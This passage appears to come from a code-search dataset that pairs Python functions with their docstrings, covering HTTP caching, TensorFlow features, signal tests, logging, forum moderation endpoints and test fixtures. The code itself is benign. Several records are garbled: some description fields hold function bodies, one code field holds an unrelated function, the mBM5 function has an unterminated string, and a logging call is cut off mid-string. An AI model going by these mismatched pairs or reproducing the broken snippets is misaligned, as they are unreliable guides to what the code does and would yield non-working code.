False\n\t\tself._before_init_widgets()\n\t\tself._init_widgets()\n\t\tself._after_init_widgets()\n\t\tself.extension_manager.register_extension(self)\n", "nl": "desc:Constructor.arguments:main_window:\tA qtopensesame object.ui:\t\t\tA ui file."} {"code": "def __get_or_create_app(self, url, cache_key):\n headers = {\"Accept\": \"application/json\"}\n app_url = '%s?datasource=%s' % (url, self.datasource)\n\n cached = self.cache.get(cache_key, (None, None, 0))\n if cached is None or len(cached) != 3:\n self.cache.invalidate(cache_key)\n cached_app, cached_headers, cached_expiry = (cached, None, 0)\n else:\n cached_app, cached_headers, cached_expiry = cached\n\n if cached_app is not None and cached_headers is not None:\n expires = cached_headers.get('expires', None)\n cache_timeout = -1\n if self.expire is None and expires is not None:\n cache_timeout = get_cache_time_left(\n cached_headers['expires']\n )\n if cache_timeout >= 0:\n return cached_app\n\n else:\n if self.expire == 0 or cached_expiry >= time.time():\n return cached_app\n\n etag = cached_headers.get('etag', None)\n if etag is not None:\n headers['If-None-Match'] = etag\n\n if ((expires is None or cache_timeout < 0 or\n cached_expiry < time.time()) and etag is None):\n self.cache.invalidate(cache_key)\n\n timeout = 0\n if self.expire is not None and self.expire > 0:\n timeout = time.time() + self.expire\n\n res = requests.head(app_url, headers=headers)\n if self.expire is not None and self.expire > 0:\n expiration = self.expire\n else:\n expiration = get_cache_time_left(\n res.headers.get('expires')\n )\n if res.status_code == 304 and cached_app is not None:\n self.cache.set(\n cache_key,\n (cached_app, res.headers, timeout),\n expiration\n )\n return cached_app\n\n app = None\n for _retry in range(1, 4):\n try:\n app = App.create(app_url)\n except HTTPError as error:\n LOGGER.warning(\n \"[failure\n _retry,\n app_url,\n error.code,\n error.msg\n )\n continue\n break\n\n if app is None:\n raise APIException(\n app_url,\n 500,\n response=\"Cannot fetch '%s'.\" % app_url\n )\n\n if self.caching and app:\n self.cache.set(cache_key, (app, res.headers, timeout), expiration)\n\n return app\n", "nl": " Get the app from cache or generate a new one if requiredBecause app object doesn't have etag/expiry, we have to makea head() call before, to have these informations first... "} {"code": "def convert_to_feature(value, value_type=None):\n\n if value_type is None:\n\n element = value[0] if isinstance(value, list) else value\n\n if isinstance(element, bytes):\n value_type = 'bytes'\n\n elif isinstance(element, (int, np.integer)):\n value_type = 'int64'\n\n elif isinstance(element, (float, np.floating)):\n value_type = 'float'\n\n else:\n raise ValueError('Cannot convert type {} to feature'.\n format(type(element)))\n\n if isinstance(value, list):\n value_type = value_type + '_list'\n\n if value_type == 'int64':\n return tf.train.Feature(int64_list=tf.train.Int64List(value=[value]))\n\n elif value_type == 'int64_list':\n value = np.asarray(value).astype(np.int64).reshape(-1)\n return tf.train.Feature(int64_list=tf.train.Int64List(value=value))\n\n elif value_type == 'float':\n return tf.train.Feature(float_list=tf.train.FloatList(value=[value]))\n\n elif value_type == 'float_list':\n value = np.asarray(value).astype(np.float32).reshape(-1)\n return tf.train.Feature(float_list=tf.train.FloatList(value=value))\n\n elif value_type == 'bytes':\n return tf.train.Feature(bytes_list=tf.train.BytesList(value=[value]))\n\n elif value_type == 'bytes_list':\n return tf.train.Feature(bytes_list=tf.train.BytesList(value=value))\n\n else:\n raise ValueError('Unknown value_type parameter - {}'.format(value_type))\n\n", "nl": "Converts the given python object to a tf.train.Feature.Args:value: int, float, bytes or a list of them.value_type: optional, if specified, forces the feature to be of the giventype. Otherwise, type is inferred automatically. Can be one of['bytes', 'int64', 'float', 'bytes_list', 'int64_list', 'float_list']Returns:feature: A tf.train.Feature object."} {"code": "def getName(self):\n (or -1, if no app is associated or the app is not running)\n \"\"\"", "nl": " Returns the short name of the app as shown in the process list return PlatformManager.getProcessName(self.getPID())def getPID(self): Returns the PID for the associated app"} {"code": "def test_siginterrupt_off(self):\n signal.siginterrupt(self.signum, 0)\n i = self.readpipe_interrupted()\n self.assertFalse(i)\n i = self.readpipe_interrupted()\n self.assertFalse(i)\n\n\n@unittest.skipIf(sys.platform == \"win32\", \"Not valid on Windows\")\nclass ItimerTest(unittest.TestCase):", "nl": "If a signal handler is installed and siginterrupt is called witha false value for the second argument, when that signal arrives, itdoes not interrupt a syscall that's in progress."} {"code": "def mgm_logger(self, message_type: str, code_section: str, message: str):\n\n if self.use_mgm_logging:\n if (self.mgm_log_levels_enabled['info'] is True) and (message_type.upper() == 'INFO'):\n logger.setLevel(logging.INFO)\n logger.info(code_section + ' - ' + message)\n elif (self.mgm_log_levels_enabled['debug'] is True) and (message_type.upper() == 'DEBUG'):\n logger.setLevel(logging.DEBUG)\n logger.debug(code_section + ' - ' + message)\n elif (self.mgm_log_levels_enabled['warning'] is True) and (message_type.upper() == 'WARNING'):\n logger.setLevel(logging.WARNING)\n logger.warning(code_section + ' - ' + message)\n elif (self.mgm_log_levels_enabled['error'] is True) and (message_type.upper() == 'ERROR'):\n logger.setLevel(logging.ERROR)\n logger.error(code_section + ' - ' + message)\n elif (self.mgm_log_levels_enabled['custom'] is True) and (message_type.upper() == 'CUSTOM'):\n logger.setLevel(logging.DEBUG)\n logger.debug(f'CUSTOM - {code_section} - {message}')\n", "nl": "MoniGoMani Logger-----------------When passing a type and a message to this function it will log:- The timestamp of logging + the message_type provided + the message provided- To the console & To \"./user_data/logs/freqtrade.log\":param message_type: The type of the message (INFO, DEBUG, WARNING, ERROR, CUSTOM):param code_section: The section in the code where the message occurred:param message: The log message to be displayed"} {"code": "def convert_idstring_to_bytes(datastr, bytelen=DEFAULT_ID_LEN):\n if d is None:\n d = dict()\n for k, v in u.items():\n if isinstance(k, bytes):\n k_str = k.decode()\n else:\n k_str = k\n if not isinstance(d, Mapping):\n d = u\n elif isinstance(v, Mapping):\n r = deep_copy_with_key_stringify(v, d.get(k, {}))\n d[k_str] = r\n else:\n d[k_str] = u[k]\n return d\n\n", "nl": "Convert hex string to binary datares = bytearray(binascii.a2b_hex(datastr))if len(res) < bytelen:res = bytearray([0]*(bytelen-len(res)))+resreturn bytes(res)def deep_copy_with_key_stringify(u, d=None):Utility for updating nested dictionary"} {"code": "def GetRank(tensor):\n if tensor.shape.ndims is not None:\n return tensor.shape.ndims\n else:\n return tf.rank(tensor)\n\n", "nl": "Returns tensor's rank as an int if it's available, otherwise a Tensor.Args:tensor: The input tensor.Returns:Either an int or a Tensor for the rank of the input tensor."} {"code": "def get(self):\n if self.write_idx >= 0:\n self.write_queue.put(self.write_idx)\n read_idx = self.read_queue.get()\n result = copy.copy(self.arys[read_idx])\n self.write_idx = read_idx\n\n return result\n", "nl": "Convenience method to get a copy of an array in the buffer.Blocks until there is data to be read.:return: A copy of the next available array."} {"code": "def check(self):\n return self.sendCommand(Command(b'CHECK'))\n\n", "nl": "Tell the server to perform a checkpointThis command is allowed in the Selected state.@rtype: C{Deferred}@return: A deferred whose callback is invoked when this commandsucceeds or whose errback is invoked if it fails."} {"code": "def run(self, context):\n if context.input is not None and \\\n ((context.charset == MH.Charset.ASCII and ord(context.input) > 0x7F) or\n (context.charset == MH.Charset.ASCII_EXT and ord(context.input) > 0xFF)):\n raise CharsetError()\n self._run(context)\n context.inputs.pop(0)\n", "nl": "Do some actions on the current character.Args:context (StateMachine): root state machine (global context)"} {"code": "def get_number_of_samples(self):\n\t\treturn self.samples\n", "nl": " Returns the number of samples this model has historicallytrained on.# Return valueIf the number of epochs is known from the logs, it is returned.Otherwise, the count is started from zero."} {"code": "def stop_client(self):\n pass\n", "nl": "Called after executing a quit command. This method may be overriddento define custom shutdown behavior."} {"code": "def paragraphs(text):\n\n paragraph = None\n initial_indent = \"\"\n subsequent_indent = \"\"\n", "nl": "Yields each paragraph of text along with its initial and subsequent indentations to be used bytextwrap.TextWrapper.Identifies list items from their first non-space character being one of bullets '-', '*', and '/'.However, bullet '/' is invisible and is removed from the list item.:param text: The text to separate into paragraphs"} {"code": "def pulse_width(self):\n if self._high is not None:\n return self._high\n else:\n return 0.0\n", "nl": "Returns the PWM pulse width in microseconds."} {"code": "def test_writeSequenceWithUnicodeRaisesException(self):\n fileDescriptor = FileDescriptor(reactor=object())\n self.assertRaises(\n TypeError, fileDescriptor.writeSequence, [b'foo', u'bar', b'baz'])\n\n", "nl": "L{FileDescriptor.writeSequence} doesn't accept unicode data."} {"code": "def match_sound_mode(self, sound_mode_raw: str) -> Optional[str]:\n Set All Zone Stereo option on the device.\n\n Calls command to activate/deactivate the mode\n \"\"\"", "nl": "Match the raw_sound_mode to its corresponding sound_mode.if self._sound_mode_raw is None:return Nonesmr_cv = convert_sound_mode(sound_mode_raw)try:sound_mode = self._sound_mode_map_rev[smr_cv]except KeyError:# Estimate sound mode for unclassified inputif smr_cv.find(\"DTS\") != -1:self._sound_mode_map[\"DTS SURROUND\"].append(smr_cv)_LOGGER.warning(\"Not able to match sound mode: '%s', \"\"assuming 'DTS SURROUND'.\", smr_cv)elif smr_cv.find(\"DOLBY\") != -1:self._sound_mode_map[\"DOLBY DIGITAL\"].append(smr_cv)_LOGGER.warning(\"Not able to match sound mode: '%s', \"\"assuming 'DOLBY DIGITAL'.\", smr_cv)elif smr_cv.find(\"MUSIC\") != -1:self._sound_mode_map[\"MUSIC\"].append(smr_cv)_LOGGER.warning(\"Not able to match sound mode: '%s', \"\"assuming 'MUSIC'.\", smr_cv)elif smr_cv.find(\"AURO\") != -1:self._sound_mode_map[\"AURO3D\"].append(smr_cv)_LOGGER.warning(\"Not able to match sound mode: '%s', \"\"assuming 'AURO3D'.\", smr_cv)elif (smr_cv.find(\"MOVIE\") != -1 or smr_cv.find(\"CINEMA\") != -1):self._sound_mode_map[\"MOVIE\"].append(smr_cv)_LOGGER.warning(\"Not able to match sound mode: '%s', \"\"assuming 'MOVIE'.\", smr_cv)else:self._sound_mode_map[smr_cv] = [smr_cv]_LOGGER.warning(\"Not able to match sound mode: '%s', \"\"returning raw sound mode.\", smr_cv)self._sound_mode_map_rev = sound_mode_rev_map_factory(self)sound_mode = self._sound_mode_map_rev[smr_cv]return sound_modeasync def _async_set_all_zone_stereo(self, zst_on: bool) -> None:"} {"code": "def _init_trading_client(self):\n self.state = get_algo_object(\n algo_name=self.algo_namespace,\n key='context.state_{}'.format(self.mode_name),\n )\n if self.state is None:\n self.state = {}\n\n if self.perf_tracker is None:\n tracker = self.perf_tracker = PerformanceTracker(\n sim_params=self.sim_params,\n trading_calendar=self.trading_calendar,\n env=self.trading_environment,\n )\n self.on_dt_changed(self.sim_params.start_session)\n\n new_position_tracker = tracker.position_tracker\n tracker.position_tracker = None\n\n cum_perf = get_algo_object(\n algo_name=self.algo_namespace,\n key='cumulative_performance_{}'.format(self.mode_name),\n )\n if cum_perf is not None:\n tracker.cumulative_performance = cum_perf\n tracker.position_tracker = cum_perf.position_tracker\n\n today = pd.Timestamp.utcnow().floor('1D')\n todays_perf = get_algo_object(\n algo_name=self.algo_namespace,\n key=today.strftime('%Y-%m-%d'),\n rel_path='daily_performance_{}'.format(self.mode_name),\n )\n if todays_perf is not None:\n if tracker.position_tracker is not None:\n todays_perf.position_tracker = tracker.position_tracker\n else:\n tracker.position_tracker = todays_perf.position_tracker\n\n tracker.todays_performance = todays_perf\n\n if tracker.position_tracker is None:\n tracker.position_tracker = new_position_tracker\n\n if not self.initialized:\n self.initialize(*self.initialize_args, **self.initialize_kwargs)\n self.initialized = True\n\n self.trading_client = ExchangeAlgorithmExecutor(\n algo=self,\n sim_params=self.sim_params,\n data_portal=self.data_portal,\n clock=self.clock,\n benchmark_source=self._create_benchmark_source(),\n restrictions=self.restrictions,\n universe_func=self._calculate_universe,\n )\n", "nl": "This replaces Ziplines `_create_generator` method. The main differenceis that we are restoring performance tracker objects if available.This allows us to stop/start algos without loosing their state."} {"code": "def cli_create_jar(argument_list):\n\n usage_message = \"usage: jarutil c [OPTIONS] file.jar files...\"\n parser = argparse.ArgumentParser(usage=usage_message)\n\n parser.add_argument(\"jar_file\", type=str,\n help=\"The file to create\")\n parser.add_argument(\"-m\", \"--main-class\", type=str,\n help=\"Specify application entry point\")\n\n args, entries = parser.parse_known_args(argument_list)\n create_jar(args.jar_file, entries)\n return 0\n\n", "nl": "A subset of \"jar\" command. Creating new JARs only."} {"code": "def mBM5(vol, pars):\n e0 = pars[0]\n b0 = pars[1]\n bp = pars[2]\n v0 = pars[3]\n b2p = pars[4]\n\n '''\n a = e0 + 3 * b0 * v0 * (122 + 9 * b0 * b2p - 57 * bp + 9 * bp * bp) / 8\n b = -3 * b0 * v0**(4 / 3) * (107 + 9 * b0 *\n b2p - 54 * bp + 9 * bp * bp) / 2\n c = 9 * b0 * v0**(5 / 3) * (94 + 9 * b0 * b2p - 51 * bp + 9 * bp * bp) / 4\n d = -3 * b0 * v0**2 * (83 + 9 * b0 * b2p - 48 * bp + 9 * bp * bp) / 2\n e = 3 * b0 * v0**(7 / 3) * (74 + 9 * b0 * b2p - 45 * bp + 9 * bp * bp) / 8\n\n VV = np.power(vol, -1 / 3)\n ee = a + b * VV + c * VV ** 2 + d * VV ** 3 + e * VV ** 4\n\n return ee\n\n", "nl": "modified BM5 EOS, Shang SL comput mater sci, 2010: 1040-1048"} {"code": "def get_test_examples(self, data_dir):\n return [\"contradiction\", \"entailment\", \"neutral\"]\n", "nl": "See base class.return self._create_examples(self._read_json(os.path.join(data_dir, \"test.json\")), \"test\")def get_labels(self):See base class."} {"code": "def invoke(self, ctx: InvokeContext, line: str) -> None:\n line = f\"is {self.name} {line}\"\n try:\n opr, typ, args = parse_condition_string(line)\n cond = MapCondition(typ, args, 0, 0, 0, 0, opr, \"USERINPUT\")\n except ValueError:\n raise ParseError\n try:\n result = ctx.session.client.event_engine.check_condition(cond)\n print(result)\n except Exception as exc:\n traceback.print_exc()\n print(\n \"Cannot test condition. Check the input and try again.\",\n file=sys.stderr,\n )", "nl": "Test a condition.* do not use \"is\" or \"not\".Parameters:ctx: Contains references to parts of the game and CLI interface.line: Input text after the command name."} {"code": "def perform_inference(self, iters=None, recalculate=False, save=True):\n if not self.engine_object or recalculate:", "nl": "Retrieves the Engine Object of the Network, performs the inferenceand propagates the results to the Nodes."} {"code": "def write_short(self, value):\n self.pack(b'!I', int(value))\n", "nl": "Writes an unsigned short to the packetself.pack(b'!H', value)def write_int(self, value):Writes an unsigned integer to the packet"} {"code": "def test_coerce_expect_re_enc_ascii (self):\n r, expected_type = self._select_types('ascii')\n p = pexpect.spawn('true', encoding='ascii')\n c = pexpect.spawnbase.SpawnBase._coerce_expect_re(p, r)\n self.assertIsInstance(c.pattern, expected_type)\n p.expect (pexpect.EOF)\n", "nl": "This test that compiled regex patterns won't ever be bytes typewhen spawn objects have ascii encoding"} {"code": "def salaries_table(datapath):\n\n The primary bucket name is \"pandas-test\". The following datasets\n are loaded.\n\n - tips.csv\n - tips.csv.gz\n - tips.csv.bz2\n - items.jsonl\n\n A private bucket \"cant_get_it\" is also created. The boto3 s3 resource\n is yielded by the fixture.\n \"\"\"", "nl": "DataFrame with the salaries datasetreturn read_csv(datapath(\"io\", \"parser\", \"data\", \"salaries.csv\"), sep=\"\\t\")@pytest.fixturedef s3_resource(tips_file, jsonl_file):Fixture for mocking S3 interaction."} {"code": "def test_close_serialization():\n assert str(GymMessage.Performative.ACT) == \"act\", \"The str value must be act\"\n assert (\n str(GymMessage.Performative.PERCEPT) == \"percept\"\n ), \"The str value must be percept\"\n assert (\n str(GymMessage.Performative.STATUS) == \"status\"\n ), \"The str value must be status\"\n assert str(GymMessage.Performative.RESET) == \"reset\", \"The str value must be reset\"\n assert str(GymMessage.Performative.CLOSE) == \"close\", \"The str value must be close\"\n\n", "nl": "Test the serialization for 'close' speech-act works.msg = GymMessage(message_id=1,dialogue_reference=(str(0), \"\"),target=0,performative=GymMessage.Performative.CLOSE,)msg.to = \"receiver\"envelope = Envelope(to=msg.to, sender=\"sender\", message=msg,)envelope_bytes = envelope.encode()actual_envelope = Envelope.decode(envelope_bytes)expected_envelope = envelopeassert expected_envelope.to == actual_envelope.toassert expected_envelope.sender == actual_envelope.senderassert (expected_envelope.protocol_specification_id== actual_envelope.protocol_specification_id)assert expected_envelope.message != actual_envelope.messageactual_msg = GymMessage.serializer.decode(actual_envelope.message)actual_msg.to = actual_envelope.toactual_msg.sender = actual_envelope.senderexpected_msg = msgassert expected_msg == actual_msgdef test_performative_string_value():Test the string value of the performatives."} {"code": "def test_auto_fill_happy_path_validation(kwik_e_mart_app, qa_kwik_e_mart):\n convo = Conversation(app=kwik_e_mart_app)\n directives = convo.process(\"What's the store phone number?\").directives\n assert_target_dialogue_state(convo, \"send_store_phone\")\n assert_reply(directives, \"Which store would you like to know about?\")\n\n directives = convo.process(\"Some store\").directives\n assert_target_dialogue_state(convo, \"send_store_phone\")\n assert_reply(\n directives,\n \"Sorry, I did not get you. \" \"Which store would you like to know about?\",\n )\n\n convo.process(\"elm street\")\n assert_target_dialogue_state(convo, None)\n\n\n@pytest.mark.conversation", "nl": "Tests a happy path for the app with gazetter validation.convo = Conversation(app=kwik_e_mart_app)directives = convo.process(\"What's the store phone number?\").directivesassert_target_dialogue_state(convo, \"send_store_phone\")assert_reply(directives, \"Which store would you like to know about?\")convo.process(\"the store on elm street\")assert_target_dialogue_state(convo, None)@pytest.mark.conversationdef test_auto_fill_retry(kwik_e_mart_app, qa_kwik_e_mart):Tests that the retry logic for slots/entities."} {"code": "def __call__(self, results):\n if np.random.rand() > self.prob:\n return results\n offset = random_negative(self.offset, self.random_negative_prob)\n self._translate_img(results, offset, self.direction)\n self._translate_bboxes(results, offset)", "nl": "Call function to translate images, bounding boxes, masks andsemantic segmentation maps.Args:results (dict): Result dict from loading pipeline.Returns:dict: Translated results."} {"code": "def putstress():\n _set_hosts(config)\n execute(push_jar_impl, config=config)\n\n\n\n@task", "nl": " Puts a stress yaml file on the stress runner boxes _set_hosts_stress()execute(_putstress)@taskdef push_jar(config): Push a custom jar up to the servers "} {"code": "def _apply_negative_infinity_mask(tensor, mask):\n\n This could potentially be implemented in a simpler way using tf.pad but", "nl": "Where mask is true, add a large negative value.tensor += tf.to_float(mask) * -INFtensor = tf.maximum(tensor, -INF)return tensordef _one_hot_tensor_3d(x, index, total_length):One-hot encodes a 2d Tensor in a 3d Tensor."} {"code": "def get_subcommands(self, ctx: InvokeContext) -> Iterable[CLICommand]:\n actions = ctx.session.client.event_engine.get_actions()\n for action in actions:\n command = ActionCommand()\n command.name = action.name\n command.description = getattr(action, \"__doc__\")\n yield command\n\n\nclass ActionCommand(CLICommand):\n \"\"\"\n\n usable_from_root = False\n", "nl": "Return subcommands that will execute an EventAction.Parameters:ctx: Contains references to parts of the game and CLI interface."} {"code": "def image_in_image(im1,im2,tp):\n\n m,n = im1.shape[:2]\n fp = array([[0,m,m,0],[0,0,n,n],[1,1,1,1]])\n\n H = homography.Haffine_from_points(tp,fp)\n im1_t = ndimage.affine_transform(im1,H[:2,:2],\n (H[0,2],H[1,2]),im2.shape[:2])\n alpha = (im1_t > 0)\n\n return (1-alpha)*im2 + alpha*im1_t\n\n", "nl": " Put im1 in im2 with an affine transformationsuch that corners are as close to tp as possible.tp are homogeneous and counter-clockwise from top left. "} {"code": "def MSBuild(self):\n if self.vs_ver < 12.0:\n return []\n elif self.vs_ver < 15.0:\n base_path = self.si.ProgramFilesx86\n arch_subdir = self.pi.current_dir(hidex86=True)\n else:\n base_path = self.si.VSInstallDir\n arch_subdir = ''\n\n path = r'MSBuild\\%0.1f\\bin%s' % (self.vs_ver, arch_subdir)\n build = [join(base_path, path)]\n\n if self.vs_ver >= 15.0:\n build += [join(base_path, path, 'Roslyn')]\n\n return build\n\n @property", "nl": "Microsoft Build Engine.Return------list of strpaths"} {"code": "def register(self, name, database):\n add_operation(self._klass, name, database)\n\n\nclass ScalarFunction(Function):", "nl": "Registers the given operation within the Ibis SQL translationtoolchain. Can also use add_operation APIParameters----------name: used in issuing statements to SQL enginedatabase: database the relevant operator is registered to"} {"code": "def search_metrics(self, query, fromTime=None, toTime=None, requestedDataPoints=600, maxDataPoints=800):\n if ts > 10 ** 12:\n ts = ts / (10 ** (len(str(ts)) - 13))\n else:\n ts = ts * 10 ** (12 - len(str(ts)))\n return int(ts)\n\n params = {'query': [{\"query\": query, \"rowId\": \"A\"}],\n 'startTime': millisectimestamp(fromTime),\n 'endTime': millisectimestamp(toTime),\n 'requestedDataPoints': requestedDataPoints,\n 'maxDataPoints': maxDataPoints}\n r = self.post('/metrics/results', params)\n return json.loads(r.text)\n", "nl": "Perform a single Sumo metrics querydef millisectimestamp(ts):Convert UNIX timestamp to milliseconds"} {"code": "def delete_post():\n form = UndeletePost()\n\n if form.validate():\n try:\n post = SubPost.get(SubPost.pid == form.post.data)\n except SubPost.DoesNotExist:\n return jsonify(status=\"error\", error=[_(\"Post does not exist\")])\n\n sub = Sub.get(Sub.sid == post.sid)\n\n if sub.status != 0 and not current_user.is_admin():\n return jsonify(status=\"error\", error=[_(\"Sub is disabled\")])\n\n if post.deleted == 0:\n return jsonify(status=\"error\", error=[_(\"Post is not deleted\")])\n\n if post.deleted == 1:\n return jsonify(\n status=\"error\", error=[_(\"Can not un-delete a self-deleted post\")]\n )\n\n if not (\n current_user.is_admin()\n or (current_user.is_mod(post.sid) and post.deleted == 2)\n ):\n return jsonify(status=\"error\", error=[_(\"Not authorized\")])\n\n if not form.reason.data:\n return jsonify(status=\"error\", error=[_(\"Cannot un-delete without reason\")])\n deletion = 0\n as_admin = not current_user.is_mod(post.sid)\n postlink, sublink = misc.post_and_sub_markdown_links(post)\n\n if as_admin:\n content = _(\n \"The site administrators restored your post %(postlink)s to %(sublink)s. \"\n \"Reason: %(reason)s\",\n sublink=sublink,\n postlink=postlink,\n reason=form.reason.data,\n )\n else:\n content = _(\n \"The moderators of %(sublink)s restored your post %(postlink)s. \"\n \"Reason: %(reason)s\",\n sublink=sublink,\n postlink=postlink,\n reason=form.reason.data,\n )\n\n misc.create_notification_message(\n mfrom=current_user.uid,\n as_admin=as_admin,\n sub=post.sid.get_id(),\n to=post.uid.get_id(),\n subject=_(\"Moderation action: post restored\"),\n content=content,\n )\n\n misc.create_sublog(\n misc.LOG_TYPE_SUB_UNDELETE_POST,\n current_user.uid,\n post.sid,\n comment=form.reason.data,\n link=url_for(\"site.view_post_inbox\", pid=post.pid),\n admin=True\n if (not current_user.is_mod(post.sid) and current_user.is_admin())\n else False,\n target=post.uid,\n )\n\n related_reports = SubPostReport.select().where(SubPostReport.pid == post.pid)\n for report in related_reports:\n misc.create_reportlog(\n misc.LOG_TYPE_REPORT_POST_UNDELETED,\n current_user.uid,\n report.id,\n log_type=\"post\",\n desc=form.reason.data,\n )\n\n Sub.update(posts=Sub.posts + 1).where(Sub.sid == post.sid).execute()\n\n post.deleted = deletion\n post.save()\n\n return jsonify(status=\"ok\")\n return jsonify(status=\"ok\", error=get_errors(form))\n\n\n@do.route(\"/do/edit_sub_css/\", methods=[\"POST\"])\n@login_required", "nl": " Post deletion endpoint form = DeletePost()if form.validate():try:post = SubPost.get(SubPost.pid == form.post.data)except SubPost.DoesNotExist:return jsonify(status=\"error\", error=[_(\"Post does not exist\")])sub = Sub.get(Sub.sid == post.sid)if sub.status != 0 and not current_user.is_admin():return jsonify(status=\"error\", error=[_(\"Sub is disabled\")])if post.deleted != 0:return jsonify(status=\"error\", error=[_(\"Post was already deleted\")])if (not current_user.is_mod(post.sid)and not current_user.is_admin()and not post.uid_id == current_user.uid):return jsonify(status=\"error\", error=[_(\"Not authorized\")])if post.uid_id == current_user.uid:deletion = 1else:if not form.reason.data:return jsonify(status=\"error\", error=[_(\"Cannot delete without reason\")])as_admin = not current_user.is_mod(post.sid)postlink, sublink = misc.post_and_sub_markdown_links(post)if as_admin:deletion = 3content = _(\"The site administrators deleted your post %(postlink)s from %(sublink)s. \"\"Reason: %(reason)s\",sublink=sublink,postlink=postlink,reason=form.reason.data,)else:deletion = 2content = _(\"The moderators of %(sublink)s deleted your post %(postlink)s. \"\"Reason: %(reason)s\",sublink=sublink,postlink=postlink,reason=form.reason.data,)misc.create_notification_message(mfrom=current_user.uid,as_admin=as_admin,sub=post.sid.get_id(),to=post.uid.get_id(),subject=_(\"Moderation action: post deleted\"),content=content,)misc.create_sublog(misc.LOG_TYPE_SUB_DELETE_POST,current_user.uid,post.sid,comment=form.reason.data,link=url_for(\"site.view_post_inbox\", pid=post.pid),admin=Trueif (not current_user.is_mod(post.sid) and current_user.is_admin())else False,target=post.uid,)related_reports = SubPostReport.select().where(SubPostReport.pid == post.pid)for report in related_reports:misc.create_reportlog(misc.LOG_TYPE_REPORT_POST_DELETED,current_user.uid,report.id,log_type=\"post\",desc=form.reason.data,)# time limited to prevent socket spamif (datetime.datetime.utcnow() - post.posted.replace(tzinfo=None)).seconds < 86400:socketio.emit(\"deletion\", {\"pid\": post.pid}, namespace=\"/snt\", room=\"/all/new\")# check if the post is an announcement. Unannounce if it is.try:ann = (SiteMetadata.select().where(SiteMetadata.key == \"announcement\").where(SiteMetadata.value == post.pid).get())ann.delete_instance()cache.delete_memoized(misc.getAnnouncementPid)cache.delete_memoized(misc.getAnnouncement)except SiteMetadata.DoesNotExist:pass# Check if the post is sticky. Unstick if so.try:is_sticky = SubMetadata.get((SubMetadata.sid == post.sid_id)& (SubMetadata.key == \"sticky\")& (SubMetadata.value == post.pid))is_sticky.delete_instance()misc.create_sublog(misc.LOG_TYPE_SUB_STICKY_DEL,current_user.uid,post.sid,link=url_for(\"sub.view_post\", sub=post.sid.name, pid=post.pid),)except SubMetadata.DoesNotExist:passSub.update(posts=Sub.posts - 1).where(Sub.sid == post.sid).execute()post.deleted = deletionpost.save()return jsonify(status=\"ok\")return jsonify(status=\"ok\", error=get_errors(form))@do.route(\"/do/undelete_post\", methods=[\"POST\"])@login_requireddef undelete_post(): Post un-deletion endpoint "} {"code": "def theme_create(self, themename, parent=None, settings=None):\n script = _script_from_settings(settings) if settings else ''\n\n if parent:\n self.tk.call(self._name, \"theme\", \"create\", themename,\n \"-parent\", parent, \"-settings\", script)\n else:\n self.tk.call(self._name, \"theme\", \"create\", themename,\n \"-settings\", script)\n\n", "nl": "Creates a new theme.It is an error if themename already exists. If parent isspecified, the new theme will inherit styles, elements andlayouts from the specified parent theme. If settings are present,they are expected to have the same syntax used for theme_settings."} {"code": "def get_region_info(self, name: str) -> AtlasRegion:\n return self._atlas_regions[name]\n", "nl": "Get the region info for a texture:return: The AtlasRegion for the given texture name"} {"code": "def enable(self, onOff):\n self._tableView.setEnabled_(onOff)\n\n", "nl": "Enable or disable the object. **onOff** should be a boolean."} {"code": "def test_user_get(self):\n with self.assertRaises(TypeError):\n models.User.get()\n crusoe = self.fixtures.crusoe\n piglet = self.fixtures.piglet\n lookup_by_buid = models.User.get(buid=crusoe.buid)\n self.assertIsInstance(lookup_by_buid, models.User)\n self.assertEqual(lookup_by_buid.buid, crusoe.buid)\n lookup_by_username = models.User.get(username=\"crusoe\")\n self.assertIsInstance(lookup_by_username, models.User)\n self.assertEqual(lookup_by_username.username, \"crusoe\")", "nl": "Test for User's get method"} {"code": "def __init__(self, *args, **kwargs):\n self.model = kwargs.pop(\"model\", self.model)\n self.queryset = kwargs.pop(\"queryset\", self.queryset)\n self.search_fields = kwargs.pop(\"search_fields\", self.search_fields)\n self.max_results = kwargs.pop(\"max_results\", self.max_results)", "nl": "Overwrite class parameters if passed as keyword arguments.Args:model (django.db.models.Model): Model to select choices from.queryset (django.db.models.query.QuerySet): QuerySet to select choices from.search_fields (list): List of model lookup strings.max_results (int): Max. JsonResponse view page size."} {"code": "def on_service_modify(self, svc_ref, old_properties):\n with self._lock:\n if self.reference is None:\n self.on_service_arrival(svc_ref)\n elif svc_ref is self.reference:\n self._ipopo_instance.update(\n self, self._value, svc_ref, old_properties\n )\n", "nl": "Called when a service has been modified in the framework:param svc_ref: A service reference:param old_properties: Previous properties values"} {"code": "def enterRollToBattleThree(self):\n self.notify.debug(\"----- enterRollToBattleThree\")\n assert self.notify.debug('enterRollToBattleThree()')\n\n self.reparentTo(render)\n\n\n self.stickBossToFloor()\n\n intervalName = \"RollToBattleThree\"\n seq = Sequence(self.__makeRollToBattleThreeMovie(),\n Func(self.__onToPrepareBattleThree),\n name = intervalName)\n seq.start()\n self.storeInterval(seq, intervalName)\n\n base.playMusic(self.betweenBattleMusic, looping=1, volume=0.9)\n", "nl": "Unused in CJ"} {"code": "def multiline_string_lines(source, include_docstrings=False):\n line_numbers = set()\n previous_token_type = ''\n try:\n for t in generate_tokens(source):\n token_type = t[0]\n start_row = t[2][0]\n end_row = t[3][0]\n\n if token_type == tokenize.STRING and start_row != end_row:\n if (\n include_docstrings or\n previous_token_type != tokenize.INDENT\n ):\n line_numbers |= set(range(1 + start_row, 1 + end_row))\n\n previous_token_type = token_type\n except (SyntaxError, tokenize.TokenError):\n pass\n\n return line_numbers\n\n", "nl": "Return line numbers that are within multiline strings.The line numbers are indexed at 1.Docstrings are ignored."} {"code": "def ignore_proto_methods(path, parent, children):\n del path\n if not isinstance(parent, GeneratedProtocolMessageType):\n return children\n new_children = []\n for (name, obj) in children:\n if callable(obj):\n continue\n new_children.append((name, obj))\n return new_children\n\n", "nl": "Remove all the proto inherited methods.Args:path: A tuple of name parts forming the attribute-lookup path to thisobject. For `tf.keras.layers.Dense` path is:(\"tf\",\"keras\",\"layers\",\"Dense\")parent: The parent object.children: A list of (name, value) pairs. The attributes of the parent.Returns:A filtered list of children `(name, value)` pairs. With all proto methodsremoved."} {"code": "def mask_rcnn_inference(pred_mask_logits, pred_instances):\n cls_agnostic_mask = pred_mask_logits.size(1) == 1\n\n if cls_agnostic_mask:\n mask_probs_pred = pred_mask_logits.sigmoid()\n else:\n num_masks = pred_mask_logits.shape[0]\n class_pred = cat([i.pred_classes for i in pred_instances])\n indices = torch.arange(num_masks, device=class_pred.device)\n mask_probs_pred = 